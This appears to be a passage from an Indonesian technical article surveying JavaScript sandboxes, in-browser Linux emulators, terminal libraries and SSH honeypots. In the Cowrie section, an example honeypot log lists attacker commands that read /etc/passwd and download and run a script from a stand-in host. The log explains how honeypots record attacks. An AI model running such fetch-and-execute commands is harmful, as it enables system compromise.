Maksud saya, dokumentasi Node.js sendiri mengatakan: "Modul vm bukan mekanisme keamanan. Jangan gunakan untuk menjalankan kode yang tidak terpercaya." Peringatan ini sudah ada sejak lama. Orang-orang terus mengabaikannya. Saya pernah melihat aplikasi produksi menggunakan vm sebagai sandbox. Tolong, jangan lakukan itu xD

Verdik: mekanisme lingkup, bukan sandbox. Gunakan saat kamu perlu mengisolasi variabel (mesin template, fungsionalitas mirip eval di mana kamu mengontrol kode). Jangan pernah untuk input yang tidak terpercaya.

Memori: overhead dapat diabaikan -- heap V8 yang sama dengan proses host.
Keamanan: tidak ada melawan penyerang yang termotivasi.


1.2 vm2 -- upaya komunitas, dan kematiannya yang sangat panjang

vm2 adalah jawaban komunitas untuk masalah pelarian vm. Ide utamanya: bungkus setiap objek yang melintasi batas sandbox dalam Proxy yang mencegat akses properti, memblokir penelusuran prototipe, dan menyaring referensi berbahaya. Ide yang cerdas secara teori! Tidak terlalu dalam praktiknya, seperti yang akan kita lihat.

const { VM } = require("vm2");
const vm = new VM({ timeout: 1000, sandbox: {} });
vm.run("process.exit(1)"); // throws VMError, process tidak dapat diakses

Selama beberapa tahun, ini bekerja cukup baik. Tapi permukaan serangan Proxy JavaScript sangat besar. Setiap fitur bahasa JS baru -- generator, iterator asinkron, Symbol.toPrimitive, Error.prepareStackTrace, slot internal Promise -- adalah vektor potensial untuk bypass.

Kronologi CVE-nya... sesuatu. Coba lihat ini:

Tanggal CVE Mekanisme
Okt 2022 CVE-2022-36067 Pelarian konteks host melalui Error.prepareStackTrace
Apr 2023 CVE-2023-29017 Kebocoran objek host melalui error async yang tidak tertangani
Apr 2023 CVE-2023-29199 Bypass sanitasi exception melalui handleException()
Apr 2023 CVE-2023-30547 Proxy.getPrototypeOf → Function → RCE
Mei 2023 CVE-2023-32314 Proxy pada Error.name → Function → RCE
Jun 2023 CVE-2023-37466 Fungsi async + stack overflow + Proxy.getPrototypeOf
Jun 2023 CVE-2023-37903 Worker thread + pelarian melalui eval

Tiga CVE kritis di bulan yang sama (April 2023). TIGA. DALAM SATU BULAN. Setelah CVE-2023-37903, maintainer secara resmi menandai library sebagai usang dengan pesan: "Library mengandung masalah keamanan kritis dan tidak boleh digunakan dalam produksi."

Maintainer menghidupkannya kembali pada Oktober 2025 dengan versi 3.10.0, mengklaim telah memperbaiki semua yang diketahui saat itu. Pelarian kritis baru (CVE-2026-22709, CVSS 9.8) diungkapkan pada Januari 2026, diikuti oleh sebelas lainnya pada Mei 2026. Sebelas. Polanya tidak berubah dan sejujurnya saya tidak berpikir akan pernah berubah.

Masalah fundamentalnya bersifat arsitektural -- dan ini adalah pelajaran yang butuh waktu bagi seluruh ekosistem untuk mempelajarinya. Kamu tidak bisa membangun sandbox yang aman menggunakan bahasa yang sama dengan yang kamu isolasi, di atas mesin yang sama, dalam proses yang sama. Permukaan pelariannya adalah seluruh implementasi V8 -- dan V8 memiliki jutaan baris C++ yang terus berubah. Setiap fitur JS baru berpotensi membuka jalur serangan baru.

Verdik: Jangan gunakan untuk aplikasi yang sensitif terhadap keamanan. Bahkan pada versi terbaru, bypass baru ditemukan setiap beberapa bulan. Maintainer sendiri sudah mengakuinya secara terbuka.


1.3 isolated-vm -- yang benar-benar berfungsi

isolated-vm mengambil pendekatan yang benar: menggunakan primitif isolasi asli V8, yaitu Isolate. Setiap Isolate V8 memiliki heap sendiri, garbage collector sendiri, kumpulan bawaan sendiri, dan nol referensi bersama dengan Isolate lain.

Ini adalah batasan yang sama yang digunakan Chrome antar tab. Ini adalah penghalang keamanan nyata, bukan trik bahasa yang dibangun di atas Proxy.

import ivm from "isolated-vm";

// Setiap isolate adalah heap V8-nya sendiri
const isolate = new ivm.Isolate({ memoryLimit: 64 }); // batas dalam MB
const context = await isolate.createContext();
const jail = context.global;

// Melewatkan data melintasi batas memerlukan serialisasi eksplisit
await jail.set("sensitiveData", "not this");
await jail.set("log", new ivm.Reference(console.log));

const script = await isolate.compileScript(`
  // Tidak dapat mencapai proses host, heap host, atau modul host
  log.applySync(undefined, ["hello from the isolate"]);
`);
await script.run(context);

// Kamu dapat menghentikan secara paksa berdasarkan timeout atau batas memori
isolate.dispose(); // membebaskan seluruh heap

Tipe Reference dan ExternalCopy adalah jembatan komunikasi eksplisit. Sebuah Reference memberikan isolate handle yang dapat dipanggil ke fungsi host -- isolate dapat memanggilnya tetapi tidak dapat memeriksa closure atau prototypenya. ExternalCopy men-serialisasi nilai (clone terstruktur) melintasi batas heap. Model jembatan eksplisit ini tidak praktis, tetapi itulah yang membuat isolasi menjadi nyata.

Kamu dapat menetapkan batasan sumber daya yang ketat: memori (isolate dihentikan jika melampaui batas), timeout waktu dinding, dan timeout CPU. Penghentiannya nyata -- ia mematikan seluruh Isolate V8, bukan hanya timeout JS yang bisa dilewati dengan while(true).

Keterbatasan: ini hanya JS. Kamu tidak bisa menjalankan bash di dalamnya. Tidak ada konsep file, izin, jaringan, atau proses. Ini adalah alat yang tepat untuk JS yang dikirimkan pengguna (plugin, formula, hook skrip), dan alat yang salah untuk yang lainnya. Penulis typescript-virtual-container menyebutkan bahwa dia mempertimbangkannya di awal sebelum menyadari bahwa "menjalankan perintah shell" dan "mengisolasi JavaScript" adalah masalah yang fundamentally berbeda.

Memori: ~3-10 MB per isolate kosong, bertambah seiring penggunaan heap.
Keamanan: kokoh. Batas V8 Isolate adalah primitif isolasi asli.
npm: isolated-vm
GitHub: laverdet/isolated-vm


1.4 quickjs-emscripten -- mesin JS terpisah yang dikompilasi ke Wasm

Pendekatan berbeda: alih-alih mengisolasi di dalam V8, jalankan mesin JavaScript yang sepenuhnya terpisah yang dikompilasi ke WebAssembly. Host berjalan di V8/Node. Tamu berjalan di QuickJS-dalam-Wasm. Sandbox Wasm menyediakan batas isolasi.

QuickJS masih merupakan karya Fabrice Bellard (orang yang sama di balik QEMU, FFmpeg, JSLinux, TinyEMU -- orang ini tidak nyata, sungguh, bagaimana satu orang bisa melakukan semua itu?). Ini adalah mesin JS kecil yang sesuai standar ES2023 yang ditulis dalam C, dan ketika dikompilasi ke Wasm ukurannya hanya sekitar 500 KB.

import { getQuickJS } from "quickjs-emscripten";

const QuickJS = await getQuickJS();
const vm = QuickJS.newContext();

const result = vm.evalCode(`
  // Berjalan di QuickJS, sepenuhnya terpisah dari V8
  (function() { return 6 * 7; })()
`);

if (result.error) {
  console.log("Error:", vm.dump(result.error));
  result.error.dispose();
} else {
  console.log("Result:", vm.dump(result.value)); // 42
  result.value.dispose();
}

vm.dispose();

QuickJS adalah mesin JavaScript kecil yang sesuai standar ES2023 yang ditulis dalam C. Dikompilasi ke Wasm, ukurannya sekitar 500 KB untuk varian sinkron, ~1 MB untuk varian asinkron (Asyncify). Manajemen memori dilakukan secara manual -- setiap nilai yang kamu ekstrak dari VM harus dibebaskan secara eksplisit, yang agak merepotkan tetapi mencegah kejutan GC lintas batas. Sebuah trade-off yang lucu!

Wrapper @sebastianwessel/quickjs menambahkan API yang lebih ergonomis di atasnya, dengan sistem file virtual opsional, dukungan fetch, dan stub modul Node.js:

import variant from "@jitl/quickjs-ng-wasmfile-release-sync";
import { loadQuickJs } from "@sebastianwessel/quickjs";

const { runSandboxed } = await loadQuickJs(variant);

const result = await runSandboxed(
  async ({ evalCode }) => evalCode(`
    import { join } from 'path';
    export default join('src', 'dist');
  `),
  { allowFs: false, allowFetch: false }
);

Model keamanannya berbeda dari isolated-vm: model memori linier Wasm membuat tamu tidak dapat mengakses objek heap V8 secara langsung. Permukaan serangannya adalah antarmuka host↔Wasm (import/export), bukan seluruh bahasa JS. Ini umumnya dianggap lebih kuat daripada sandbox berbasis Proxy.

Sisi sebaliknya: QuickJS tidak memiliki tingkat optimasi yang sama dengan V8. Untuk beban kerja CPU-bound di JS, kecepatannya 5 hingga 20 kali lebih lambat dari V8. Untuk potongan kode kecil dan evaluasi yang tidak terpercaya, ini biasanya tidak masalah.

Memori: ~500 KB modul Wasm + heap per instance.
Keamanan: batas Wasm, dianggap lebih kuat dari pendekatan berbasis Proxy.
npm: quickjs-emscripten, @sebastianwessel/quickjs
GitHub: justjake/quickjs-emscripten


1.5 Deno -- runtime yang mengutamakan izin

Deno mengambil filosofi yang benar-benar berbeda: alih-alih membuat sandbox di dalam Node, bangun runtime baru yang aman secara default. Saya sangat suka pendekatan ini -- seharusnya seperti inilah Node.js dari awal, sejujurnya. Ryan Dahl (pencipta asli Node.js) secara literal menciptakan Deno karena dia menyesali beberapa keputusan desain Node.js, yang cukup gila jika dipikirkan.

Setiap kapabilitas sensitif (baca file, tulis file, jaringan, lingkungan, sub-proses) memerlukan flag --allow-* eksplisit:

# Yang ini hanya bisa membaca dari /data, tidak yang lain
deno run --allow-read=/data script.ts

# Yang ini hanya bisa mengakses satu domain
deno run --allow-net=api.example.com script.ts

# Tidak ada flag = tidak ada izin
deno run untrusted.ts # tidak bisa baca, tulis, jaringan, luncurkan

Model izin diimplementasikan di tingkat Rust/OS -- ini bukan trik JS. Ketika kode Deno memanggil Deno.readFile(), ia melewati operasi Rust yang memeriksa tabel izin sebelum menyentuh sistem file. Kamu tidak bisa melewatinya dari JS karena syscall tidak pernah terjadi jika izin tidak diberikan.

Untuk menjalankan kode yang benar-benar tidak terpercaya, Deno Workers (Web Workers) menyediakan isolate kedua dalam proses yang sama, masing-masing dengan kumpulan izinnya sendiri. Kamu dapat meluncurkan worker dengan nol izin dan berkomunikasi dengannya melalui postMessage.

Deno 2 (dirilis Oktober 2024) menambahkan kompatibilitas npm penuh dan shim kompatibilitas Node.js, yang secara signifikan meningkatkan adopsinya untuk kasus penggunaan sisi server.

Trade-off: model keamanan Deno sangat bagus untuk kode yang mungkin kamu percayai sebagian. Untuk kode yang sepenuhnya tidak terpercaya yang mungkin bersifat adversarial, model izin tidak membantu -- kamu memerlukan batas Isolate (isolated-vm) atau mesin yang berbeda (quickjs-emscripten), karena Deno masih menggunakan V8 dan penyerang yang canggih dapat menemukan bug di tingkat V8.


1.6 TC39 ShadowRealm -- jawaban yang terstandarisasi (suatu hari nanti)

Badan standarisasi JavaScript (TC39) memiliki proposal bernama ShadowRealm yang mencoba menstandarisasi apa yang coba dilakukan vm dan vm2, tetapi dengan model keamanan yang benar. Sebuah ShadowRealm menciptakan konteks eksekusi JS yang terisolasi dengan intrinsiknya sendiri, tanpa akses ke realm luar, dan antarmuka import/export yang dikontrol dengan hati-hati.

const realm = new ShadowRealm();
const result = realm.evaluate(`
  // Intrinsik terpisah, tidak ada akses ke realm luar
  typeof globalThis.fetch // "undefined"
  6 * 7 // 42
`);

ShadowRealm tersedia di browser (Chrome 90+, Firefox 105+) tetapi belum ada di Node.js stabil pada tahun 2026. Proposal TC39 Compartments dibangun di atasnya untuk isolasi tingkat modul. Ini adalah jawaban terstandarisasi jangka panjang, tetapi belum siap untuk produksi sisi server Node. Ini adalah salah satu hal di mana kamu melihatnya datang dari jauh tapi... belum sampai. Klasik TC39 xD


Ringkasan keluarga sandbox

vm vm2 isolated-vm quickjs-emscripten Deno Workers
Batas isolasi tidak ada (lingkup) Proxy (rusak) V8 Isolate Wasm V8 Isolate + izin Rust
Batas memori ❌ ❌ ✅ batas ketat ✅ heap Wasm sebagian
Timeout CPU ❌ ✅ (bisa dilewati) ✅ ketat ✅ ✅
Keamanan tidak ada rusak kokoh kokoh kokoh
Kecepatan JS V8 asli V8 asli V8 asli ~10x lebih lambat V8 asli
Browser ❌ ❌ ❌ ✅ ❌
Kompatibilitas Node bawaan ✅ ✅ shim sebagian sebagian
Status stabil berisiko (CVE baru) ✅ aktif ✅ aktif ✅ aktif
Overhead RAM ~1 MB ~5-20 MB ~3-10 MB ~5-15 MB ~10-30 MB

Verdik: jika keamanan penting bagimu, ada tepat dua opsi nyata -- isolated-vm (ekstensi native, V8 Isolate, kecepatan JS penuh) dan quickjs-emscripten (Wasm, kompatibel browser, ~10x lebih lambat untuk komputasi intensif). Sisanya adalah "tolong jangan lakukan itu" (vm, vm2) atau runtime yang memecahkan masalah yang sama sekali berbeda (Deno). ShadowRealm mungkin akan mengubah segalanya suatu hari nanti, tapi belum sekarang.


Bagian 2 -- Emulator Linux dalam JavaScript

Di sinilah hal-hal menjadi sangat menarik bagi saya. Ini adalah emulator sungguhan -- mereka mengimplementasikan set instruksi CPU dalam JavaScript atau WebAssembly, memulai image kernel Linux asli, dan menjalankan biner userspace asli. Isolasi berasal dari fakta bahwa tamu dan host tidak berbagi apa pun: ruang memori berbeda, aliran instruksi berbeda.

Harganya sangat mahal, tapi apa yang kamu dapatkan sungguh luar biasa: Linux asli, yang benar-benar berjalan, di browsermu atau proses Node-mu. Semacam cukup gila jika dipikirkan, bukan?

2.1 v86 -- emulator PC x86 dalam JS + JIT Wasm

v86 oleh Fabrice (copy di GitHub) adalah emulator x86 open-source paling mumpuni dalam JavaScript. Dimulai sebagai interpreter JS murni sekitar tahun 2013 dan berevolusi menjadi sistem JIT di mana blok dasar x86 diterjemahkan ke WebAssembly dengan cepat, meningkatkan kinerja secara signifikan.

Apa yang diemulasikannya:

  • CPU: x86-32 (IA-32), set instruksi sekitar level Pentium 1. Tidak ada 64-bit (x86-64) -- ini adalah batasan arsitektural perangkat keras, bukan fitur yang hilang.
  • FPU: melalui Float64Array JavaScript. x87 presisi diperluas 80-bit; double JS adalah 64-bit. Ini berarti hasil floating point mungkin sedikit berbeda dari CPU asli.
  • Memori: dapat dikonfigurasi, dipetakan ke SharedArrayBuffer atau ArrayBuffer di heap JS.
  • Perangkat keras: 8254 PIT (timer), 8259 PIC (pengontrol interupsi), kontroler keyboard 8042 (PS/2), CMOS RTC, VGA dengan ekstensi SVGA dan Bochs VBE, kontroler IDE, kontroler floppy (8272A), kartu jaringan NE2000.
  • BIOS: menggunakan SeaBIOS (BIOS x86 open-source).

JIT bekerja dengan mengidentifikasi blok dasar (urutan instruksi x86 tanpa lompatan), menerjemahkannya ke fungsi WebAssembly, men-cache fungsi tersebut, dan memanggilnya pada eksekusi berikutnya dari blok yang sama. Jalur kode panas mendapatkan kinerja Wasm asli. Jalur dingin jatuh kembali ke interpreter JS.

import { V86 } from "v86";
import { readFileSync } from "fs";

const emulator = new V86({
  bios:    { buffer: readFileSync("./bios/seabios.bin") },
  vga_bios:{ buffer: readFileSync("./bios/vgabios.bin") },
  hda:     { buffer: readFileSync("./images/alpine.img"), async: false },
  memory_size: 128 * 1024 * 1024, // 128 MB
  autostart: true,
});

// Menangkap output serial (konsol kernel Linux)
emulator.add_listener("serial0-output-byte", byte => {
  process.stdout.write(String.fromCharCode(byte));
});

// Mengirim input ke tamu (mengetik di shell)
emulator.serial0_send("ls /\n");

OS yang didukung: Alpine Linux (sangat baik), Ubuntu 16.04/18.04 (i386 saja), Arch Linux 32, ReactOS, FreeDOS, Windows 9x/2000 (dengan catatan), MS-DOS.

Waktu boot: 15-40 detik untuk Alpine Linux dari image bersih. Ini melekat pada inisialisasi kernel yang sebenarnya -- kamu tidak bisa melewatinya. Ya, penggunamu akan menonton kernel Linux booting di browser mereka. Itulah dealnya xD

Memori minimum: 100-256 MB per instance. Cache kode Wasm JIT saja bisa mencapai puluhan MB untuk instance Linux yang sibuk.

Penggunaan di Node.js: didukung penuh. Tidak perlu DOM -- output VGA bisa diabaikan jika kamu hanya tertarik pada output serial.

Apa yang tidak bisa kamu lakukan: menjalankan biner 64-bit, menggunakan fitur kernel modern (eBPF, io_uring, dll.), atau menjalankan lebih dari beberapa instance secara bersamaan tanpa mencapai batas memori.

npm: v86 -- diperbarui terus-menerus, rilis terbaru pada hari yang sama saat saya menulis.
GitHub: copy/v86
Demo: copy.sh/v86


2.2 JSLinux dan TinyEMU -- karya Bellard, dua kali

JSLinux adalah emulator Linux dalam JavaScript milik Fabrice Bellard sendiri -- yang pertama, dirilis pada tahun 2011. Saya terus menyebut Bellard dalam artikel ini karena dia terus muncul: QuickJS, TinyEMU, JSLinux, QEMU, FFmpeg. Orang ini sungguh luar biasa. Benar-benar salah satu kontribusi teknis individu paling mengesankan dalam sejarah perangkat lunak, tanpa berlebihan.

JSLinux asli adalah interpreter x86 JS murni. Pada tahun 2016, Bellard menulis TinyEMU (emulator RISC-V dalam C), mengkompilasinya ke JavaScript melalui Emscripten, dan itu menjadi dasar JSLinux saat ini. Jadi JSLinux saat ini sebenarnya adalah kode C yang menghasilkan JavaScript -- bukan JS yang ditulis tangan sama sekali.

Catatan teknis di situs Bellard layak dibaca: JSLinux saat ini menjalankan CPU RISC-V 32 atau 64-bit (bukan x86), mengemulasi konsol VirtIO, jaringan VirtIO, perangkat blok VirtIO, dan sistem file 9P untuk berbagi file dengan host. Demo JS dikompilasi dari C menggunakan Emscripten -- ini bukan JS yang ditulis tangan.

TinyEMU sendiri mendukung:

  • RISC-V RV32IMAFDQC dan RV64IMAFDQC (32 dan 64-bit, dengan floating point, perkalian, instruksi terkompresi)
  • x86 melalui KVM (asli saja, tanpa emulasi -- jadi versi JS hanya RISC-V)
  • Konsol VirtIO, jaringan, blok, input, sistem file 9P

TinyEMU memiliki demo JavaScript yang disediakan melalui Emscripten. Ini adalah dasar dari JSLinux dan juga digunakan oleh container2wasm (lihat bagian 2.5).

Status JSLinux: tidak ada paket npm, tidak ada API yang dapat diprogram. Ini adalah demo yang kamu buka di browser. Signifikansi historisnya besar -- ia membuktikan konsepnya. Kegunaan praktis sebagai library: nol.

TinyEMU: tidak di npm, sumber C tersedia di bellard.org/tinyemu.


2.3 jor1k -- emulator OR1K

jor1k adalah emulator OpenRISC 1000 (OR1K) yang ditulis dalam JavaScript oleh Sebastian Macke. Ini menarik secara historis karena jor1k memperkenalkan dukungan sistem file VirtIO 9P, yang kemudian diintegrasikan Bellard ke dalam TinyEMU dan JSLinux. Polinasi silang antara proyek-proyek ini sangat erat -- mereka saling meminjam hal satu sama lain, yang sejujurnya adalah salah satu hal paling keren dari pekerjaan emulasi open-source.

Status: tidak lagi dirawat secara aktif, tidak ada paket npm. Diarsipkan pada titik ini. Berguna untuk diketahui terutama untuk konteks historis -- jadi jika seseorang menyebut jor1k dalam percakapan, sekarang kamu tahu apa itu :)


2.4 CheerpX -- emulator x86 komersial untuk browser

CheerpX oleh Leaning Technologies adalah emulator Linux x86 komersial untuk produksi. Ini tidak open-source, tetapi secara signifikan lebih mumpuni daripada v86 untuk menjalankan userspace Debian/Ubuntu asli. Jika kamu membutuhkan VSCode asli di browser, inilah yang kamu perlukan.

Perbedaan utama dengan v86:

  • Mendukung ISA yang lebih luas (lebih banyak ekstensi x86, kompatibilitas glibc yang lebih baik)
  • Sistem file berbasis IndexedDB di browser (persisten antar reload halaman)
  • Dukungan pthread melalui SharedArrayBuffer (yang memerlukan header COOP/COEP -- ya header keamanan yang merepotkan itu)
  • Dirancang untuk menjalankan VSCode, Python, Node.js, dan aplikasi nyata lainnya -- bukan hanya image OS minimal
  • Dukungan profesional dan SLA tersedia (alias kamu bisa memarahi seseorang jika rusak)

Kasus penggunaan tipikal adalah "menjalankan aplikasi Linux asli di browser tanpa server." Perusahaan menggunakannya untuk IDE berbasis browser, tutorial coding, dan dokumentasi interaktif.

// API CheerpX (disederhanakan)
const cx = await CheerpX.Linux.create({
  mounts: [{ type: "ext2", path: "/", dev: CloudDevice.create(...) }],
});
await cx.run("/bin/bash");

Hubungan dengan Node.js: CheerpX pertama-tama dirancang untuk browser. Emulator yang mendasarinya secara teoritis bisa berjalan di Node (ini Wasm), tetapi API dan dokumentasi sepenuhnya berorientasi pada penggunaan browser. Penggunaan sisi server tidak didukung.

Memori: mirip dengan v86 -- 200+ MB untuk instance Debian asli.
Harga: gratis untuk proyek open-source, lisensi komersial untuk SaaS produksi.
Dok: cheerpx.io/docs/overview


2.5 WebContainers (StackBlitz) -- Node.js di Wasm, bukan emulasi Linux

WebContainers sering disatukan dengan emulator Linux tetapi secara arsitektural berbeda. Mereka tidak mengemulasi x86. Mereka tidak menjalankan Linux. Mereka menjalankan Node.js yang dikompilasi ke WebAssembly menggunakan WASI. Perbedaan ini sangat penting dan saya menghabiskan terlalu banyak waktu bingung tentang ini lol.

Saya pikir kebingungan berasal dari pemasaran -- "menjalankan Node.js di browsermu" terdengar seperti emulasi, tetapi sebenarnya Node.js itu sendiri dikompilasi ke Wasm, bukan emulasi Linux yang menjalankan Node.js di VM. Hal yang sama sekali berbeda.

Arsitekturnya:

  1. Node.js dikompilasi ke Wasm (runtime WASI kustom secara spesifik)
  2. Service Worker mencegat permintaan jaringan dari server Node.js yang diemulasi dan merutekannya ke tab browser
  3. Sistem file hidup di memori browser (tanpa I/O disk)
  4. npm adalah implementasi kustom yang dioptimalkan untuk penggunaan browser
import { WebContainer } from "@webcontainer/api";

const webcontainer = await WebContainer.boot();

// Menulis file
await webcontainer.mount({
  "index.js": { file: { contents: `console.log("hello")` } },
  "package.json": { file: { contents: `{"name":"demo","type":"module"}` } }
});

// Menjalankan perintah Node.js
const proc = await webcontainer.spawn("node", ["index.js"]);
proc.output.pipeTo(new WritableStream({ write: chunk => console.log(chunk) }));

Karena ini menjalankan Node.js asli (dikompilasi ke Wasm), kamu mendapatkan npm asli, API Node.js asli, dan resolusi modul asli. Kamu tidak mendapatkan userspace Linux serba guna -- kamu tidak bisa menginstal paket sistem dengan apt, menjalankan biner terkompilasi sembarangan, atau melakukan banyak hal di luar ekosistem Node.js.

Prasyarat browser: SharedArrayBuffer (memerlukan header COOP/COEP), dukungan Service Worker, Wasm modern.

Hubungan dengan Node.js: dirancang secara eksklusif untuk penggunaan browser. API tidak berfungsi di luar konteks browser.

npm: @webcontainer/api
Dok: webcontainers.io


2.6 container2wasm -- kontainer Docker dikompilasi ke Wasm

container2wasm adalah alat (bukan paket npm) dari NTT yang mengambil image kontainer Docker dan mengubahnya menjadi biner WebAssembly yang dapat berjalan di host Wasm mana pun -- termasuk browser. Ketika saya pertama kali melihat ini, saya benar-benar tidak percaya itu berhasil.

Mekanismenya:

  • Untuk kontainer x86_64: menyertakan Bochs (emulator x86, dikompilasi ke Wasm) + sistem file root kontainer
  • Untuk kontainer riscv64: menyertakan TinyEMU (Bellard lagi!) + sistem file root kontainer
  • File .wasm yang dihasilkan memulai emulator, me-mount sistem file kontainer, dan mengeksekusi entry point kontainer
# Mengubah kontainer Ubuntu 22.04 menjadi Wasm
c2w ubuntu:22.04 out.wasm

# Menjalankannya
wasmtime out.wasm uname -a
# Linux 5.15.0 #1 SMP riscv64 GNU/Linux

# Atau menyajikannya untuk penggunaan browser
c2w --to-js ubuntu:22.04 /tmp/htdocs/

.wasm yang dihasilkan besar -- Ubuntu minimal mencapai beberapa ratus MB -- tetapi sepenuhnya mandiri. Kamu bisa mengirim .wasm melalui email kepada seseorang dan mereka bisa menjalankan Ubuntu di browser mereka. Kalimat itu seharusnya tidak masuk akal tapi begitulah.

GitHub: container2wasm/container2wasm


Ringkasan keluarga emulator

v86 JSLinux/TinyEMU jor1k CheerpX WebContainers container2wasm
Arsitektur x86-32 JIT→Wasm RISC-V (Wasm) OR1K (JS) x86 (proprieter) Node.js→Wasm/WASI x86/RISC-V (Wasm)
Kernel asli ✅ ✅ ✅ ✅ ❌ (Node.js) ✅
64-bit ❌ ✅ (RISC-V) ❌ ✅ n/a ✅
Paket npm ✅ ❌ ❌ CDN/API ✅ ❌ (alat CLI)
Penggunaan Node.js ✅ ❌ ❌ ❌ ❌ (browser only) via Wasmtime
Penggunaan browser ✅ ✅ ✅ ✅ ✅ ✅
RAM/instance 150-256 MB ~64-128 MB ~64 MB 200+ MB ~100 MB ~200-500 MB
Waktu boot 15-40d 10-30d 10-30d 15-40d 2-5d 10-40d
Open source ✅ ✅ ✅ ❌ sebagian ✅
Status ✅ sangat aktif ✅ stabil ⚠️ diarsipkan ✅ komersial ✅ aktif ✅ aktif

Yang menonjol dari tabel ini: v86 adalah satu-satunya yang merupakan paket npm, berjalan di browser dan Node, dan open-source. Itulah mengapa ia mendominasi percakapan tentang "emulator Linux dalam JavaScript". Semua yang lain memiliki kekurangan -- JSLinux tidak memiliki API, jor1k diarsipkan, CheerpX berbayar, WebContainers hanya browser dan spesifik Node, container2wasm memerlukan langkah build dan CLI. Jika kamu hanya perlu "menjalankan Linux dalam JavaScript", v86 hampir selalu merupakan titik awal yang tepat.


Bagian 3 -- Stack terminal: xterm.js dan node-pty

Dua paket terus muncul ketika orang membangun pengalaman mirip shell. Mereka bukan sandbox atau emulator -- mereka adalah pipa ledeng UI dan PTY -- tetapi mereka sangat terkait sehingga saya akan merasa tidak enak jika tidak membahasnya. Juga, saya pernah menggunakan keduanya dan mereka sangat bagus.

3.1 xterm.js -- rendering terminal

xterm.js adalah emulator terminal untuk browser. Ia menampilkan layar terminal (urutan escape VT100/xterm) dalam elemen <canvas>, menangani input keyboard, dan mengekspos API untuk menyalurkan data.

Digunakan oleh: terminal bawaan VS Code, Azure Cloud Shell, Proxmox VE, AWS CloudShell, dan banyak lagi.

import { Terminal } from "@xterm/xterm";
import { FitAddon } from "@xterm/addon-fit";

const term = new Terminal({ cursorBlink: true });
const fitAddon = new FitAddon();
term.loadAddon(fitAddon);
term.open(document.getElementById("terminal"));
fitAddon.fit();

// Mengirim data ke terminal (ditampilkan sebagai teks)
term.write("$ ");
term.onData(data => {
  // data adalah tekanan tombol -- kirim ke backend-mu
  socket.send(data);
});
socket.onmessage(msg => {
  // output dari backend -- tampilkan
  term.write(msg.data);
});

xterm.js hanyalah lapisan rendering. Ia tidak menjalankan shell. Ia tidak menafsirkan perintah. Ini adalah widget tampilan yang kamu hubungkan ke backend pilihanmu. Banyak orang berpikir xterm.js "yang membuat terminal" tetapi sebenarnya itu hanya layar -- kamu masih harus menghubungkannya ke sesuatu yang benar-benar mengeksekusi perintah.

npm: @xterm/xterm
GitHub: xtermjs/xterm.js


3.2 node-pty -- pembuatan PTY

node-pty membuat pseudoterminal (PTY) di Node.js dan memberimu handle baca/tulis di atasnya. Digunakan dengan xterm.js, ia memungkinkan pembangunan terminal browser yang berbicara dengan shell asli (bash, zsh, fish) yang berjalan di server.

import * as pty from "node-pty";

const shell = pty.spawn("bash", [], {
  name: "xterm-color",
  cols: 80,
  rows: 30,
  cwd: process.env.HOME,
  env: process.env,
});

shell.onData(data => {
  // Kirim ke xterm.js browser melalui WebSocket
  ws.send(data);
});

ws.on("message", data => {
  // Teruskan tekanan tombol dari browser ke shell
  shell.write(data);
});

Ini adalah pola standar untuk IDE cloud dan terminal web: xterm.js (browser) ↔ WebSocket ↔ node-pty ↔ bash asli. Tanpa isolasi. Shell berjalan dengan semua izin dari proses Node.js (atau pengguna yang meluncurkannya).

Dirawat oleh: Microsoft.
npm: node-pty
GitHub: microsoft/node-pty


Bagian 4 -- Honeypot SSH

Honeypot dirancang untuk diserang. Tujuannya adalah terlihat cukup nyata sehingga penyerang berinteraksi dengan mereka, sambil merekam semua yang mereka lakukan untuk intelijen ancaman. SSH adalah target utama karena ini adalah layanan yang paling banyak diserang di internet -- jika kamu mengekspos port 22 di IP publik, kamu akan melihat upaya pemindaian otomatis dalam hitungan menit. Cobalah suatu hari, cukup mengerikan seberapa cepat itu terjadi.

Kualitas honeypot diukur dari dua hal: fidelitas (seberapa meyakinkan ia meniru sistem asli) dan telemetri (berapa banyak data berguna yang ia tangkap). Kedua hal ini saling bertentangan. Honeypot fidelitas tinggi lebih sulit dibangun dan lebih berisiko untuk dioperasikan.

Bagian ini akhirnya yang membawa saya membangun modul HoneyPot di typescript-virtual-container, jadi saya punya beberapa opini di sini.

4.1 Cowrie -- standar emas

Cowrie adalah honeypot SSH dan Telnet interaksi sedang-ke-tinggi berbasis Python. Ini adalah honeypot SSH yang paling banyak digunakan di komunitas riset dan keamanan.

Arsitektur:

  • Lapisan protokol: implementasi protokol SSH asli (Twisted Conch), jadi penyerang mendapatkan jabat tangan asli, pertukaran kunci asli, otentikasi asli
  • Lapisan shell: sistem file palsu (menyerupai Debian 5.0) dan interpreter shell parsial yang merespons perintah umum
  • Mode proxy: dapat meneruskan ke sistem asli di belakang (mode interaksi tinggi), merekam semua yang lewat
  • Mode LLM (tambahan baru): menggunakan model bahasa untuk menghasilkan respons dinamis terhadap perintah yang tidak diketahui cara menanganinya -- ya, Cowrie sekarang memiliki mode AI. Kita hidup di zaman yang gila.
# Apa yang ditangkap Cowrie
{
  "timestamp": "2024-01-15T03:22:11.847Z",
  "src_ip": "45.33.32.156",
  "username": "root",
  "password": "123456",
  "session": "abc123",
  "commands": [
    "uname -a",
    "cat /etc/passwd",
    "wget http://malicious.example/bot.sh",
    "chmod +x bot.sh",
    "./bot.sh"
  ],
  "files_downloaded": ["bot.sh"]
}

Cowrie menyimpan file yang diunduh (melalui wget/curl/SFTP/SCP) untuk analisis malware. Ia terintegrasi dengan Splunk, Elasticsearch, dan platform SIEM lainnya.

Fidelitas: sedang-tinggi. Cukup meyakinkan untuk mengelabui bot otomatis (yang merupakan 99% penyerang SSH -- kebanyakan hanya skrip bodoh yang mencoba root/password). Manusia yang canggih dapat mengidentifikasinya melalui sidik jari, biasanya cukup cepat.

Bahasa: Python (Twisted)
GitHub: cowrie/cowrie


4.2 Kippo -- pendahulu Cowrie

Kippo adalah honeypot SSH interaksi sedang asli yang menjadi dasar Cowrie. Ide dasarnya sama: protokol SSH asli, sistem file palsu, shell parsial. Cowrie sepenuhnya telah menggantikannya pada titik ini -- Kippo sudah diarsipkan dan tidak ada yang boleh menggunakannya di tahun 2026. Disebutkan di sini murni untuk kelengkapan historis, karena kamu mungkin melihatnya dirujuk di posting blog lama dan makalah keamanan.

GitHub: desaster/kippo -- diarsipkan


4.3 endlessh -- tarpit SSH

